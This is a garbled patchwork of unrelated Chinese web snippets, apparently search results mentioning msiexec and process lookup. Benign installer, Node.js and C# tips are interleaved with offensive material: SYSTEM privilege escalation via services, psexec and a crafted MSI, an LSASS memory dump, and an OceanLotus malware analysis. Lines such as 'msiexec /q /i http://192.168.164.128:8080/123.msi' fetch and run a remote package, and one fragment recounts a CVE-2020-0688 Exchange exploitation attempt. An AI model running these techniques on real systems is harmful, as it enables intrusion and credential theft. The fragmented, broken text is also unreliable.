- i);}但运行时发现:输入:4294901760(0xFFFF0000)期望输出:65535(0x0000FFFF)实际输出:4112646143(0xF50000FF)❌为什么会出现错误?...我的代码为什么出错?...错误原因dwOutChlCtrl 未初始化 如果 dwOutChlCtrl 初始值是随机的(比如 0xF5000000),|= 操作会保留原有位,导致错误: 初始值: 0xF5000000...叠加后: 0xF50000FF (错误结果)正确做法:必须初始化 dwOutChlCtrl = 0。...可能使用了 int**(有符号)** 如果 dwOutChlCtrlArray[0] 是 int,右移 >> 会执行 算术右移(高位补符号位),而不是 逻辑右移(高位补 0),导致错误。3.
权限的方法 ·利用MSIExec获得System权限的方法 ·利用token复制获得System权限的方法 0x02 通过创建服务获得System权限 1、通过sc命令实现 sc Create TestService1...Win8下控制台提示错误,无法使用该方法 2、通过计划任务 使用at命令: at 7:50 notepad.exe 默认以system权限启动,适用于Win7 从Win8开始不再支持at命令 使用schtasks...Event 7045、Event 4624和Event 4652 以system权限启动: psexec.exe -accepteula -s -d notepad.exe 默认情况下,system权限的进程不会在用户桌面显示...《渗透测试中的msiexec》介绍过利用Advanced Installer制作msi文件的方法,这里不再赘述 本节对XPN提到的方法做复现,使用wix3制作msi文件 wix3下载地址: https:...也就是说,完整编译命令如下: 直接双击执行msigen.msi会弹框,启动的calc.exe为system权限 命令行下执行: msiexec /q /i msigen.msi 启动的calc.exe
在 JDK 安装和卸载过程中,相应的开始菜单项会更新,以便它们与系统上的最新 JDK 版本相关联 笔记: Windows 10 有一个 开始 菜单; 但是,该菜单在 Windows 8 中不可用 和 Windows...使用以下命令静默卸载JDK 模式: MsiExec.exe/X{} 例如,要卸载 JDK 15,请运行以下命令: MsiExec.exe /X{E04E5624-3CF1...注册表项突出显示在 窗格的右侧和各种值 卸载字符串显示在左侧 窗格。 请注意 的值 UninstallString 。 JDK安装 故障排除 该主题提供了在安装 JDK 时解决问题的提示。...这些遗留的注册表项可能会导致 安装新版本 Java 的问题。...手动编辑注册表(仅当 Fix It 实用程序 不起作用) 错误地编辑您的注册表可能会严重损坏您的系统。 你 在对计算机进行更改之前,应备份计算机中的所有重要数据 注册表。
else { // 正常启动 base.OnStartup(e); }} 2 唤起已经启动的进程 try{ var processes = Process.GetProcessesByName...MessageBox.Show("已经启动了XXX", "错误提示", MessageBoxButton.OK, MessageBoxImage.Error); } else {...exception, "唤起已启动进程时出错");} Win32 函数引入: private const int SW_SHOWNOMAL = 1; ////// 该函数设置由不同线程产生的窗口的显示状态...get; set; } private const int SW_SHOWNOMAL = 1; /// /// 该函数设置由不同线程产生的窗口的显示状态...processes.Any()) { MessageBox.Show("已经启动了XXX", "错误提示", MessageBoxButton.OK
这可以解释为什么它需要 PID,但是如果您还必须自己提供句柄,为什么还要麻烦这样做呢…… 如果我们按照 MS 文档的规定调用 API,我们可能会执行以下操作: using var fs = new FileStream...(@"C:\Temp\debug.bin", FileMode.Create); Console.WriteLine("Getting handle... "); var lsass = Process.GetProcessesByName...一个好奇是为什么这两个调用都出现在 Console.WriteLine 下方,用于“ Calling MiniDumpWriteDump... ”?...为什么我们的调用没有直接出现在“ Getting handle... ”下面?答案是 Process 类在调用 Handle getter 属性之前不会调用 OpenProcess。...Access: 2097151 Success 这不会改变结果,它只是用于区分两个调用。 那么这对于 handle dup 技巧意味着什么呢?
很多地方看似是语法错误导致的,其实是其并没有完全分析清楚攻击流程所导致的,比如 : 另外关于64位强密匙绕过杀软,其实质就是OceanLotus Encryptor 在创建进程时候的用到的一个64bytes...该文件文件信息伪造为国际版qq.exe 如下图, 2、在核心功能组建中,bundle.rdb会创建这样一个路径用于存放从服务器下载的其他攻击组件 如果是专门针对大陆的APT攻击,未免有点牵强。...如果说是APT攻击人员的失误,那么这这两点将是致命性的错误,会造成攻击失败。 综上我觉得如果说非要说是APT攻击,那么该攻击要么是针对驻外大使馆,或者海外中国企业的职工。...反虚拟机的手段其实有很多,但是选择这种方式本人认为:一是相对检测注册表,进程名可靠性比较高,更加通用,二是这样子会更加的隐蔽,因为检测注册表,与进程名很容易被分析人员识别出来,而且代码量会大. 3.1.3...(本报告以msiexec.exe为例)。 其伪代码如下: 3.2.6创建完msiexec.exe后,遍历进程列表中的进程的所有线程,找到进程id为msiexec.exe的进程,挂起该进程的所有线程。
大家好,又见面了,我是你们的朋友全栈君。...powershell mshta.exe CScript.exe&WScript.exe Windows原生工具加载 regsvr32.exe dll sct certutil.exe winrm.vbs msiexec.exe...但值得注意的是WScript是将输出结果以对话框的形式显示,而CScript是以命令行的形式显示输出结果。...无文件 Winrm invoke Create wmicimv2/Win32_Process @{ CommandLine="calc.exe";CurrentDirectory="C:\"} msiexec.exe...C:\Windows\System32\msiexec.exe /q /i http://192.168.164.128:8080/123.msi 复现出错 wmic.exe # 暂无 pubprn.vbs
1.Node.js 基础 1.1Node开发概述 1为什么要学习服务器端开发基础 能够和后端程序员更加紧密的配合 网 宽知识视野,能够站在更高的角度审视整个项目 2 服务器端开发要做的事情...实现网站的业务逻辑 数据的增删改查 3.为什么选择Node 使用JavaScript语法开发后端应用 一些公司要求前端工程师掌握Node开发 生态系统活跃,有大量开源库可以使用...https://nodejs.org/en/ LTS = Long Term Support 长期支持版 稳定版 Current 拥有最新特性 实验版 2 Node环境安装失败解决办法 1.错误代号...解决办法: 以管理员身份运行powershell命令行工具 输入运行安装包命令 msiexec /package node安装包位置 执行命令报错 失败原因:Node安装目录写入环境变量失败...解决办法:将Node安装目录添加到环境变量中 3 PATH环境变量 存储系统中的目录,在命令行中执行命令的时候系统会自动去这些目录中查找命令的位置。
这里是你们的小编Monster~ ? 今天来记录一次Outlook漏洞cve-2020-0688的利用。 ? 虽然最后没拿到shell,但是还是来看看其中用到的一些方法吧~ ?...该漏洞执行的前提,是需要先获取到一个普通用户的用户名、口令。 ?...利用ysoserial将上面的结果反序列化处理: ? 输入ysoserial获取的payload,得到exp并执行: ? //执行后服务器会返回500 Dnslog显示命令执行成功: ?...//也可以用msiexec命令:msiexec /q /i http://url Dnslog未接受到请求: ? //尝试到此,判断为漏洞存在,但可能被杀软拦截或者TCP不出网。 ?...关于dnslog的一些测试 顺带测试了一下ping dnslog,和http访问dnslog有什么区别。 (1)ping 通过ping方式访问,会接收到dns报文: ?
,输入命令:ffmpeg -list_devices true -f dshow -i dummy 命令执行后检查输出的结果是否有[dshow @xxx] "screen-capture-recorder...3、C#开发 C#程序中调用FFMpeg.exe程序,并且不显示命令行窗口界面,来完成FFMpeg.exe的录屏功能,在视频录制完成后对视频文件进行压缩,其中主要函数如下所示。...注意:在CMD命令行中FFMpeg.exe输出的结果需要在ErrorDataReceived中创建事件才可以显示。...1 public void RunFFmpeg() 2 3 { 4 5 Process[] KillProcessArray = Process.GetProcessesByName...//是否使用操作系统shell启动 24 25 p.StartInfo.RedirectStandardError = true; //重定向标准错误输出
当用户选择了三个产品时,如果分别显示这三个产品的安装交互UI显然是不恰当的。我们期望用一个统一的自定义UI去取代每个产品各自的UI。...平时使用msiexec.exe习惯了,所以最直接的想法就是在一个子进程中执行: msiexec.exe /qn 这样固然是能够完成任务,但是不是太简陋了?...q参数让安装过程显示不同的UI。...如果不显示UI的话就要使用参数 /qn 。MsiSetInternalUI方法就是干这个事儿的。...总结一下,通过调用几个windows API,我们可以实现对msi安装过程的控制。这比调用msiexec.exe更灵活,也为程序日后添加新的功能打下了基础。
1.Node开发概述 1.1为什么要学习服务器端开发基础 能够和后端程序员更加紧密的配合 网站业务逻辑前置,学习前端技术需要后端技术支撑(Ajax) 扩宽知识视野,能够站在更高的角度审视整个项目...1.2服务器端开发要做的事情 实现网站的业务逻辑 数据的增删改查 1.3为什么选择Node 使用JavaScript语法开发后端应用 一些公司要求前端工程师学握Node开发...)能够运行JavaScript代码,浏览器就是JavaScript代码的运行环境 Node(软件)能够运行JavaScript代码,Node就是JavaScript代码的运行环境 2.1 Node.js...输入 node -v 回车查看 2.2Node环境安装失败解决办法 1.错误代号2502、2503 失败原因:系统帐户权限不足。 ?...解决办法: 以管理员身份运行powershell命令行工具 输入运行安装包命令msiexec /package node安装包位置 ?
改动版本号后,UpgradeCode也会随之改变。 ? 1.3. 设置默认安装路径 选中应用程序文件夹,查看其属性栏。...如果不想显示生产厂商名,可以将[Manufacturer]这个参数删除。 ? 2. 添加安装文件 (1)添加项目输出 在文件系统一栏中有三个路径:应用程序文件夹、用户的“程序”菜单、用户桌面。...msiexec.exe这个执行文件用于安装Windows Installer安装包(msi格式的文件)。 4. 创建快捷方式 4.1....设置msiexec快捷方式的参数 对于msiexec.exe的快捷方式,需要设置一些参数,才能正常卸载安装的程序。 步骤如下: 选中安装工程,在属性栏中拷贝ProductCode项的值。 ?...输出文件名项中可以设置输出文件的路径,安装程序最后会输出到这个路径下。 ? 选中要添加的必备组件,点击确定 注意,安装必备组件有三种方式: 1. 安装的时候会从供应商的官网上下载对应组件。 2.
VS中上方扩展选项卡,选择 管理扩展,在打开的弹窗中选择联机,在右侧搜索框搜索 installer, 在中间显示的结果选择 Microsoft Visual Studio Installer Projects...安装扩展完成后,右键项目的解决方案,新建项目,打开vs的项目创建窗口,上方搜索 setup,选择第一个setup project 下一步,定义项目名称, 这里定义的项目名称就是之后生成的安装包的名称,可根据需要自定义...新建完成之后的项目,左侧有三个文件夹,右侧此时是空的,其中第一个是应用程序存放文件夹,第二个是安装之后用户的桌面显示图标,第三个是用户开始菜单选项的图标。...setup项目,在项目的属性窗口,可以查看到ProductCode属性值,复制该值,接着再次右键应用程序文件夹,Add->文件,打开文件选择管理器,文件选择框 输入c:\windows\system32\msiexec.exe...这个路径,添加文件,在右侧又会多了 msiexec.exe 文件,右键它,创建快捷方式,可以修改该快捷方式的名称,可改为Unistall.exe ,又是将该快捷方式拖拽到用户桌面也就是第二个文件夹。
本文介绍简单的几个 Win32 方法调用,使 Win32 程序也支持单实例。 ---- 激活之前进程的窗口 我们可以通过进程名称找到此前已经启动过的进程实例,如果发现,就激活它的窗口。...static void Main(string[] args) { var current = Process.GetCurrentProcess(); var process = Process.GetProcessesByName...那么我们需要添加额外的代码将其显示出来。 在前面的 ShowWindow 之后,再调用一下 SetForegroundWindow 即可将其激活到最前面来。如果在其他桌面,则会切换到对应的桌面。...然而当窗口并不是进程的主窗口,或者 ShowInTaskBar 设为了 false 的时候就不生效了(此时窗口句柄会改变)。 于是,我们需要改用其他的方式来查找窗口。...请阅读原文: https://walterlv.com/post/show-previous-process-instance-window-when-startup.html ,以避免陈旧错误知识的误导
在安全公告可以获得的信息:受此漏洞影响的系统和漏洞的严重等级(漏洞导致的结果),不同操作系统对应的补丁,知识库的链接,漏洞的详细信息。...为什么?...如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。...Windows Installer由Windows Installer service(msiexec.exe)和Installer Database(MSI包)构成,当用户点击msi软件包,系统会自动调用...如果是https证书需可信 可创建快捷方式指向msiexec远程加载 可使用OLE对象将快捷方式嵌入到Word文档中 msiexec的过程会输出日志到%TEMP%目录下,记得清理 参考:Windows
告别 setx 陷阱:Windows 长 PATH 环境变量设置的 PowerShell 优雅解法 背景故事在为集团全员自动化部署开发环境(含 Node.js 工具链及 Claude 相关 CLI 工具...错误: 拒绝访问注册表路径。...问题深度剖析错误现象根本原因影响数据被裁断到 1024 字符setx 命令硬性限制:写入注册表时 PATH 值超过 1024 字符即截断后续路径丢失,工具调用失败拒绝访问注册表路径未以管理员权限运行2....'PATH', [Environment]::GetEnvironmentVariable('PATH', 'Machine') + ';C:\nodejs', 'Machine')为什么它更可靠...PATH 哈希值,便于审计回滚静默安装流程:# 示例:Node.js 安装 + PATH 注入(管理员权限下)Start-Process msiexec.exe -Wait -ArgumentList
我们为什么要使用Shellcode呢? 对于Payload类型来说,Shellcode所能带来的灵活性非常高。...此时,我们需要重新安装DueDLLigence(Visual Studio项目)中的未托管导出库,,因为有时当你使用不同的项目时,可能会导致DueDLLigence项目出现问题。...比如说,我们选择explorer.exe来作为注入目标,我们的Payload将通过MSIExec来运行。...在企业环境中,可以使用SIEM来收集遥测数据,以检测cmd.exe -> msiexec.exe -> explorer.exe进程树的执行情况。...当进程注入发生时,一个进程会修改另一个进程地址空间中的内存保护机制,通过检测类似API的调用情况,随着红队和恶意攻击者继续开发新的进程注入技术,网络防御人员以及安全软件需要继续适应不断变化的环境。
“用户的‘程序’菜单”即"User's Programs Menu"表示:应用程序安装完,用户的“开始菜单”中的显示的内容,一般在这个文件夹中,需要再创建一个文件用来存放:应用程序.exe和卸载程序.exe...第四步,添加卸载程序 既然有安装就有卸载,卸载程序其实是一个Windows操作系统自带的程序(C:Windows\System32\Msiexec.exe),只不过是通过给它传特殊的参数命令,来让它执行卸载...添加和设置卸载程序的操作如下: 首先,将卸载程序放在“应用程序文件夹”目录下,右键“应用程序文件夹”,添加——文件,在系统盘下找到这个路径文件——C:Windows\System32\Msiexec.exe...由于Msiexec.exe这个名字不够直观,所以一般接下来我们会对它重命名,一般改为“卸载.exe”或“UnInstall.exe”,然后给它创建快捷方式并将快捷方式放到“用户程序菜单”目录下 ?...选择“从组件供应商的网站上下载系统必备组件”,这样一来,即使电脑上没有安装需要的.net Framework也不要紧,只要设置了这项,安装程序会自动从微软的官网上下载对应的组件并安装,是不是很方便 第七步
(实际数值取决于当前进程数) Process.GetProcessesByName("Walterlv.Demo") 00:00:00.5604279 Process.GetCurrentProcess...() 00:00:00.0000546 结果显示获取所有进程实例的 GetProcesses 方法速度竟然比获取单个进程实例的 GetProcessById 还要快得多!...事实上,在测试中,我将 GetProcesses 和 GetProcessesByName 方法的执行调换顺序也能得到稳定一致的结果,都是 GetProcessesByName 更快。...static extern int GetCurrentProcessId(); 另外,有个有意思的现象: Windows的PID为什么是4的倍数 - 开源中国社区 WINDOWS进程或线程号为什么是4...,以避免陈旧错误知识的误导,同时有更好的阅读体验。